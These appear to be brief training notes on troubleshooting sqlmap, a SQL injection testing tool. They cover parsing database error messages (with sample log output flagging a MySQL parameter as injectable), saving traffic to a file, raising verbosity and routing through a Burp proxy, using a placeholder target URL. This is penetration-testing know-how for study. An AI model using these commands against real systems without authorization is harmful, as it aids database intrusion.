4. Handling sqlmap errors

first step is to use --parse-errors

...SNIP...
[16:09:20] [INFO] testing if GET parameter 'id' is dynamic
[16:09:20] [INFO] GET parameter 'id' appears to be dynamic
[16:09:20] [WARNING] parsed DBMS error message: 'SQLSTATE[42000]: Syntax error or access violation: 1064 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '))"',),)((' at line 1'"
[16:09:20] [INFO] heuristic (basic) test shows that GET parameter 'id' might be injectable (possible DBMS: 'MySQL')
[16:09:20] [WARNING] parsed DBMS error message: 'SQLSTATE[42000]: Syntax error or access violation: 1064 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''YzDZJELylInm' at line 1'
...SNIP...

thus sqlmap automatically prints dbms errors to clarify what could be going wrong

storing traffic

sqlmap -u "http://www.target.com/vuln.php?id=1" --batch -t /tmp/traffic.txt

outputs whole traffic made by sqlmap to an output file with requests and responses

verbose output -v 6 self explanatory, increases stdout verbosity

proxy

--proxy usage to redirect through mitm proxy like burp